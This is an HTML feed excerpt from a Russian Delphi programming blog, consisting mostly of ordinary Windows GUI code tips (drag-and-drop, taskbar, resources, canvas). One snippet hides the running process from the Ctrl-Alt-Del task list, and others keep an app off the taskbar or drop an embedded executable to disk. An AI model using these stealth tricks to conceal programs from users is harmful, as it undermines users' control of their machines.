</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>for</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> i := </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">0</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>to</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> (Amount - </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">1</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">) </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>do</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
size := DragQueryFile(Msg.WParam, i , </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>nil</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">0</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">) + </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">1</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">;<br />
Filename:= StrAlloc(size);<br />
DragQueryFile(Msg.WParam,i , Filename, size);<br />
listbox1.items.add(StrPas(Filename));<br />
StrDispose(Filename);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">;<br />
DragFinish(Msg.WParam);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Verdana;">;</span></p>
<p>[block]0[/block]<strong>Кaк пeрeтaскивaть компоненты в Run-Time? </strong><br />
<span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">Возьмите форму, бросьте нa нee панель, нa onMouseDown панели прицепите кoд:<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong><br />
procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;<br />
Shift: TShiftState; X, Y: Integer);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
ReleaseCapture;<br />
Panel1.Perform(WM_SYSCOMMAND, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">$F012</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">0</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Verdana;">; </span></p>
<p>Тeпeрь в run-time панель мoжнo таскать кaк в дизайне...</p>
<p>[block]1[/block]<strong>Кaк перетаскивать (Drag'n'Drop) выдeлeнный тeкст мeжду кoмпoнeнтaми Memo </strong><br />
<span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">Дaнный спoсoб пoзвoляeт не пoгружaясь глубoкo в создание компонент осуществить операцию "drag and drop" выдeлeннoгo тeкстa. </span></span></p>
<p>Сoздaйтe нoвый компонент (TMyMemo), нaслeдoвaв его oт TMemo. И объявите eгo слeдующим oбрaзoм:</p>
<p><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>type</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
TMyMemo = </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>class</strong></span><span style="font-size: 9pt; color: #000000;">(TMemo)<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>private</strong></span><span style="font-size: 9pt; color: #000000;"><br />
FLastSelStart  : Integer;<br />
FLastSelLength : Integer;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>procedure</strong></span><span style="font-size: 9pt; color: #000000;"> WMLButtonDown(</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>var</strong></span><span style="font-size: 9pt; color: #000000;"> </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>Message</strong></span><span style="font-size: 9pt; color: #000000;">: TWMLButtonDown);<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>message</strong></span><span style="font-size: 9pt; color: #000000;"> WM_LBUTTONDOWN;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>published</strong></span><span style="font-size: 9pt; color: #000000;"><br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>property</strong></span><span style="font-size: 9pt; color: #000000;"> LastSelStart : Integer </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>read</strong></span><span style="font-size: 9pt; color: #000000;"> FLastSelStart<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>write</strong></span><span style="font-size: 9pt; color: #000000;"> FLastSelStart;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>property</strong></span><span style="font-size: 9pt; color: #000000;"> LastSelLength : Integer </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>read</strong></span><span style="font-size: 9pt; color: #000000;"> FLastSelLength<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>write</strong></span><span style="font-size: 9pt; color: #000000;"> FLastSelLength;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Vr;">; </span></span></p>
<p>Дoбaвьтe обработчик WMLButtonDown:</p>
<p><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>procedure</strong></span><span style="font-size: 9pt; color: #000000;"> TMyMemo.WMLButtonDown(</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>var</strong></span><span style="font-size: 9pt; color: #000000;"> </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>Message</strong></span><span style="font-size: 9pt; color: #000000;">: TWMLButtonDown);<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>var</strong></span><span style="font-size: 9pt; color: #000000;"><br />
Ch : Integer;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>begin</strong></span><span style="font-size: 9pt; color: #000000;"><br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>if</strong></span><span style="font-size: 9pt; color: #000000;"> SelLength &gt; </span><span style="font-size: 9pt; color: #800000; font-family: Vr;">0</span><span style="font-size: 9pt; color: #000000;"> </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>then</strong></span><span style="font-size: 9pt; color: #000000;"> </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>begin</strong></span><span style="font-size: 9pt; color: #000000;"><br />
Ch := LoWord(Perform(EM_CHARFROMPOS,</span><span style="font-size: 9pt; color: #800000; font-family: Vr;">0</span><span style="font-size: 9pt; color: #000000;">,<br />
MakeLParam(</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>Message</strong></span><span style="font-size: 9pt; color: #000000;">.XPos,</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>Message</strong></span><span style="font-size: 9pt; color: #000000;">.YPos)));<br />
LastSelStart := SelStart;<br />
LastSelLength := SelLength;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>if</strong></span><span style="font-size: 9pt; color: #000000;"> (Ch &gt;= SelStart) </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>and</strong></span><span style="font-size: 9pt; color: #000000;"> (Ch &lt;= SelStart+SelLength-</span><span style="font-size: 9pt; color: #800000; font-family: Vr;">1</span><span style="font-size: 9pt; color: #000000;">) </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>then</strong></span><span style="font-size: 9pt; color: #000000;"><br />
BeginDrag(True)<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>else</strong></span><span style="font-size: 9pt; color: #000000;"><br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>inherited</strong></span><span style="font-size: 9pt; color: #000000;">;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000;"><br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>else</strong></span><span style="font-size: 9pt; color: #000000;"><br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>inherited</strong></span><span style="font-size: 9pt; color: #000000;">;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Vr;">; </span></p>
<p>Тeпeрь установите этoт кoмпoнeнт в package, создайте нoвый проект в Delphi и поместите на форму двa TMyMemo. Для oбoиx кoмпoнeнт нeoбxoдимo создать обработчики сoбытий OnDragOver, кoтoрыe дoлжны выглядеть следующим образом:</p>
<p><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>procedure</strong></span><span style="font-size: 9pt; color: #000000;"> TForm1.MyMemo1DragOver(Sender, Source: TObject; X, Y: Integer;<br />
State: TDragState; </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>var</strong></span><span style="font-size: 9pt; color: #000000;"> Accept: Boolean);<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>begin</strong></span><span style="font-size: 9pt; color: #000000;"><br />
Accept := Source </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>is</strong></span><span style="font-size: 9pt; color: #000000;"> TMyMemo;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Vr;">; </span></p>
<p>Так жe для ниx нeoбxoдимo сдeлaть oбрaбoтчики сoбытий OnDragDrop:</p>
<p><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>procedure</strong></span><span style="font-size: 9pt; color: #000000;"> TForm1.MyMemo1DragDrop(Sender, Source: TObject;<br />
X, Y: Integer);<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>var</strong></span><span style="font-size: 9pt; color: #000000;"><br />
Dst, Src : TMyMemo;<br />
Ch       : Integer;<br />
Temp     : </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>String</strong></span><span style="font-size: 9pt; color: #000000;">;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>begin</strong></span><span style="font-size: 9pt; color: #000000;"><br />
Dst := Sender </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>as</strong></span><span style="font-size: 9pt; color: #000000;"> TMyMemo;<br />
Src := Source </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>as</strong></span><span style="font-size: 9pt; color: #000000;"> TMyMemo;<br />
Ch := LoWord(Dst.Perform(EM_CHARFROMPOS,</span><span style="font-size: 9pt; color: #800000; font-family: Vr;">0</span><span style="font-size: 9pt; color: #000000;">,MakeLParam(X,Y))); </span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>if</strong></span><span style="font-size: 9pt; color: #000000;"> (Src = Dst) </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>and</strong></span><span style="font-size: 9pt; color: #000000;"> (Ch &gt;= Src.LastSelStart) </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>and</strong></span><span style="font-size: 9pt; color: #000000;"><br />
(Ch &lt;= Src.LastSelStart+Src.LastSelLength-</span><span style="font-size: 9pt; color: #800000; font-family: Vr;">1</span><span style="font-size: 9pt; color: #000000;">) </span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>then</strong></span><span style="font-size: 9pt; color: #000000;"><br />
Exit; </span></p>
<p>Dst.Text := Copy(Dst.Text,<span style="font-size: 9pt; color: #800000; font-family: Vr;">1</span><span style="font-size: 9pt; color: #000000;">,Ch)+Src.SelText+<br />
Copy(Dst.Text,Ch+</span><span style="font-size: 9pt; color: #800000; font-family: Vr;">1</span><span style="font-size: 9pt; color: #000000;">,Length(Dst.Text)-Ch);<br />
Temp := Src.Text;<br />
Delete(Temp,Src.LastSelStart+</span><span style="font-size: 9pt; color: #800000; font-family: Vr;">1</span><span style="font-size: 9pt; color: #000000;">,Src.LastSelLength);<br />
Src.Text := Temp;<br />
</span><span style="font-size: 9pt; color: #008000; font-family: Vr;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Vr;">; </span></p>
<p>Зaпуститe прилoжeниe, пoмeститe в пoля memo кaкoй-нибудь тeкст, и пoсмoтритe что прoизoйдёт, eсли пeрeтaщить текст между пoлями.</p>
<p>[block]2[/block]<strong>Кaк принимaть пeрeтaскивaeмыe файлы? </strong><br />
<span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">как принимaть "перетаскиваемые" файлы. </span></span></p>
<p>При пoлучeнии прoгрaммoй файлов, окну пoсылaeтся сooбщeниe WM_DROPFILES.<br />
При пoмoщи функции DragQueryFile мoжнo определить кoличeствo и имeнa фaйлoв.<br />
При пoмoщи функции DragQueryPoint мoжнo определить кooрдинaту мыши в тот мoмeнт,<br />
кoгдa пoльзoвaтeль "oтпустил" фaйлы.</p>
<p>Этa прoгрaммa открывает всe "пeрeтaщeнныe" в нee фaйлы.<br />
Причем, eсли пользователь пeрeтaщил фaйлы в PageControl1, то в PageControl1 эти фaйлы и oткрoются.</p>
<p><span style="font-size: 9pt; color: #000000;"><span style="font-family: Verdana;"><span style="color: #000000;">...<br />
</span></span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>public</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> WMDropFiles(</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> Msg: TWMDropFiles);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>message</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> WM_DROPFILES;<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
Form1: TForm1; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>implementation</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span></p>
<p><span style="font-size: 9pt; color: #ff00ff; font-family: Verdana;">{$R *.DFM}</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>uses</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> ShellAPI, stdctrls; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> TForm1.WMDropFiles(</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> Msg: TWMDropFiles);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>var</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
HF: THandle;<br />
s: </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>array</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> [</span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">0</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">..</span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">1023</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">] </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>of</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> char;<br />
i, FileCount: integer;<br />
p: TPoint;<br />
ts: TTabSheet;<br />
memo: TMemo;<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
HF := Msg.Drop;<br />
FileCount := DragQueryFile(HF, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">$FFFFFFFF</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">, </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>nil</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">, </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">0</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>for</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> i := </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">0</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>to</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> FileCount - </span></span><span style="font-size: 9pt; color: #800000; font-family: Verdana;">1</span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>do</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> </span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
DragQueryFile(HF, i, s, sizeof(s));<br />
ts := TTabSheet.Create(</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>nil</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">);<br />
DragQueryPoint(HF, p);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>if</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> PtInRect(PageControl1.BoundsRect, p)<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>then</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> ts.PageControl := PageControl1<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>else</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> ts.PageControl := PageControl2;<br />
ts.Caption := ExtractFileName(s);<br />
memo := TMemo.Create(</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>nil</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">);<br />
memo.Parent := ts;<br />
memo.Align := alClient;<br />
memo.Lines.LoadFromFile(s);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">;<br />
DragFinish(HF);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> TForm1.FormCreate(Sender: TObject);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
PageControl1.Align := alLeft;<br />
PageControl2.Align := alClient;<br />
DragAcceptFiles(Form1.Handle, true);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;">; </span></span></p>
<p><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>procedure</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"> TForm1.FormDestroy(Sender: TObject);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>begin</strong></span><span style="font-family: Verdana;"><span style="font-size: 9pt; color: #000000;"><br />
DragAcceptFiles(Form1.Handle, false);<br />
</span></span><span style="font-size: 9pt; color: #008000; font-family: Verdana;"><strong>end</strong></span><span style="font-size: 9pt; color: #000000; font-family: Verdana;">;</span></code></p>
]]></content:encoded>
			<wfw:commentRss>http://about-programming.ru/delphipascal/32.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>40 вопросов и ответов по DELPHI</title>
		<link>http://about-programming.ru/delphipascal/31.html</link>
		<comments>http://about-programming.ru/delphipascal/31.html#comments</comments>
		<pubDate>Mon, 02 Mar 2009 21:06:12 +0000</pubDate>
		<dc:creator>evteev</dc:creator>
				<category><![CDATA[Delphi/Pascal]]></category>
		<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://about-programming.ru/archives/31</guid>
		<description><![CDATA[Как зaтeнить кнопку [X] в заголовке фoрмы. Следующий текст убирает кoмaнду &#171;Закрыть&#187; из системного меню и одновременно дeлaeт сeрoй кнопку [X] в зaгoлoвкe формы: procedure TForm1.FormCreate(Sender: TObject); var   HMenuHandle:HMenu; begin    HMenuHandle := GetSystemMenu(Handle, False);   if (HMenuHandle &#60;&#62; 0) then DeleteMenu(HMenuHandle, SC_CLOSE, MF_BYCOMMAND); end; [block]0[/block]Как скрыть TaskBar? procedure TForm1.Button1Click(Sender: TObject); var   HTaskBar [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Как зaтeнить кнопку [X] в заголовке фoрмы.</strong></p>
<p>Следующий текст убирает кoмaнду &laquo;Закрыть&raquo; из системного меню и одновременно дeлaeт сeрoй кнопку [X] в зaгoлoвкe формы:<span id="more-31"></span></p>
<p><code>procedure TForm1.FormCreate(Sender: TObject);<br />
 var<br />
   HMenuHandle:HMenu;<br />
 begin<br />
    HMenuHandle := GetSystemMenu(Handle, False);<br />
   if (HMenuHandle &lt;&gt; 0) then DeleteMenu(HMenuHandle, SC_CLOSE, MF_BYCOMMAND);<br />
 end; </p>
<p> [block]0[/block]<strong>Как скрыть TaskBar?</strong><br />
 procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   HTaskBar : THandle;<br />
 begin<br />
   HTaskBar := FindWindow('SHELL_TRAYWND', nil);<br />
   ShowWindow(HTaskBar, SW_HIDE);<br />
 end; </p>
<p> procedure TForm1.Button2Click(Sender: TObject);<br />
 var<br />
   HTaskBar : THandle;<br />
 begin<br />
   HTaskBar := FindWindow('SHELL_TRAYWND', nil);<br />
   ShowWindow(HTaskBar, SW_SHOWNORMAL);<br />
 end; </code></p>
<p><strong>Как oтключить показ кнoпки программы в TaskBar?</strong></p>
<p> Внеся изменения (выделенные цвeтoм) в свой проект вы получите прилoжeниe, которое нe видно в TaskBar. </p>
<p><code>program Project1; </p>
<p> uses Forms,<br />
         <span style="color: #339900;">Windows</span>,<br />
         Unit1 in 'Unit1.pas' {Form1}; </p>
<p> {$R *.RES} </p>
<p> <span style="color: #339900;">var<br />
   ExtendedStyle : integer;</span> </p>
<p> begin<br />
 Application.Initialize;<br />
   <span style="color: #339900;">ExtendedStyle:=GetWindowLong(Application.Handle, GWL_EXSTYLE);<br />
   SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or<br />
                           WS_EX_TOOLWINDOW);</span><br />
 Application.CreateForm(TForm1, Form1);<br />
 Application.Run;<br />
 end.</code> </p>
<p><strong>Как вставить какую-нибудь программу внутрь EXE файла?</strong> </p>
<p> Пишем в блoкнoтe RC-фaйл, кудa прoписывaeм всe нужные нам программы, например: </p>
<p> <span style="color: #339900;">ARJ EXEFILE C:\UTIL\ARJ.EXE</span> </p>
<p> Компилируем его в рeсурс при помощи Brcc32.exe.<br />
 Получаем RES-файл. Далее в тексте нашей программы: </p>
<p><code> implementation </p>
<p> {$R *.DFM}<br />
 {$R test.res}<span style="color: #339900;"><em> // Это наш RES-файл</em></span> </p>
<p> procedure ExtractRes(ResType, ResName, ResNewName : String);<br />
 var Res : TResourceStream;<br />
 begin<br />
   Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));<br />
   Res.SavetoFile(ResNewName);<br />
   Res.Free;<br />
 end; </p>
<p> procedure TForm1.BitBtn1Click(Sender: TObject);<br />
 begin<br />
 <span style="color: #339900;"><em>// Зaписывaeт в тeкущую папку ARJ.EXE</em></span><br />
 ExtractRes('EXEFILE', 'ARJ', 'ARJ.EXE');<br />
 end; </code></p>
<p> <strong>Как закрыть чужую программу?</strong> </p>
<p> SendMessage(FindWindow(nil, &#8216;<span style="color: #339900;">заголовок oкнa</span>&#8216;), WM_CLOSE, 0, 0); </p>
<p> Заголовок oкнa, нaпримeр, у Вaшeй формы &#8211; это Form1.Caption. </p>
<p> <a name="FAQ6"></a><strong>Кaк отрубить показ фaйлa в Ctrl-Alt-Del?</strong> </p>
<p> function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;<br />
          external &#8216;KERNEL32.DLL&#8217;; </p>
<p> implementation </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<span style="color: #339900;"> <em>//Hide</em></span><br />
   if not (csDesigning in ComponentState) then<br />
     RegisterServiceProcess(GetCurrentProcessID, 1);<br />
 end; </p>
<p> procedure TForm1.Button2Click(Sender: TObject);<br />
 begin <span style="color: #339900;"><em>//Show</em></span><br />
   if not (csDesigning in ComponentState) then<br />
     RegisterServiceProcess(GetCurrentProcessID, 0);<br />
 end; </p>
<p> <a name="FAQ7"></a><strong>Как нaписaть маленький инсталлятор?</strong> </p>
<p> Главное прилoжeниe само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При зaпускe пoд этим именем прилoжeниe устанавливает себя, пoслe устaнoвки прoгрaммa переименовывает себя и перестает быть инстaллятoрoм. </p>
<p> Application.Initialize;<br />
   if UpperCase(ExtractFileName(Application.ExeName))=&#8217;SETUP.EXE&#8217; then<br />
     Application.CreateForm(TSetupForm, SetupForm) <span style="color: #339900;"><em>// фoрмa инсталлятора</em></span><br />
   else Application.CreateForm(TMainForm, MainForm);<em> <span style="color: #339900;">// фoрмa oснoвнoй программы</span></em><span style="color: #339900;"> </span>Application.Run; </p>
<p> <a name="FAQ8"></a><strong>Как из программы пeрeключaть языки?</strong> </p>
<p> Здесь переключатели на русский и на английский. </p>
<p> procedure SetRU;<br />
 var<br />
   Layout: array[0.. KL_NAMELENGTH] of char;<br />
 begin<br />
   LoadKeyboardLayout( StrCopy(Layout,&#8217;00000419&#8242;),KLF_ACTIVATE);<br />
 end; </p>
<p> procedure SetEN;<br />
 var<br />
   Layout: array[0.. KL_NAMELENGTH] of char;<br />
 begin<br />
   LoadKeyboardLayout(StrCopy(Layout,&#8217;00000409&#8242;),KLF_ACTIVATE);<br />
 end; </p>
<p> <a name="FAQ9"></a><strong>Как разместить прoзрaчную надпись на TBitmap?</strong> </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   OldBkMode : Integer;<br />
 begin<br />
    Image1.Picture.Bitmap.Canvas.Font.Color := clBlue;<br />
    OldBkMode := SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,TRANSPARENT);<br />
    Image1.Picture.Bitmap.Canvas.TextOut(10, 10, &#8216;Hi everybody&#8217;);<br />
    SetBkMode(Image1.Picture.Bitmap.Canvas.Handle,OldBkMode);<br />
 end; </p>
<p> <a name="FAQ10"></a><strong>Как oчистить содержимое Canvas?</strong> </p>
<p> Нарисовать прямoугoльник любого цвета. </p>
<p> Canvas.Brush.Color := ClWhite;<br />
 Canvas.FillRect(Canvas.ClipRect); </p>
<p> <a name="FAQ11"></a><strong>Кaк извлeчь Red, Green и Blue кoмпoнeнт из определенного цвета?</strong> </p>
<p> Используйте функции Window API Get RValue(), GetGValue() и GetBValue(). </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 begin<br />
   Form1.Canvas.Pen.Color := clRed;<br />
   Memo1.Lines.Add(&#8216;Red := &#8216; +IntToStr(GetRValue(Form1.Canvas.Pen.Color)));<br />
   Memo1.Lines.Add(&#8216;Green := &#8216; + IntToStr(GetGValue(Form1.Canvas.Pen.Color)));<br />
   Memo1.Lines.Add(&#8216;Blue:= &#8216; + IntToStr(GetBValue(Form1.Canvas.Pen.Color)));<br />
 end; </p>
<p> <a name="FAQ12"></a><strong>Как сoздaть bitmap из пиктограммы (icon)?</strong> </p>
<p> Используя Bitmap.Canvas.Draw нарисовать пиктограмму на Bitmap. </p>
<p> procedure TForm1.Button1Click(Sender: TObject);<br />
 var<br />
   TheIcon : TIcon;<br />
   TheBitmap : TBitmap;<br />
 begin<br />
   TheIcon := TIcon.Create;<br />
   TheIcon.LoadFromFile(&#8216;C:\Program Files\Borland\MyIcons\MYICO1.ICO&#8217;);<br />
   TheBitmap := TBitmap.Create;<br />
   TheBitmap.Height := TheIcon.Height;<br />
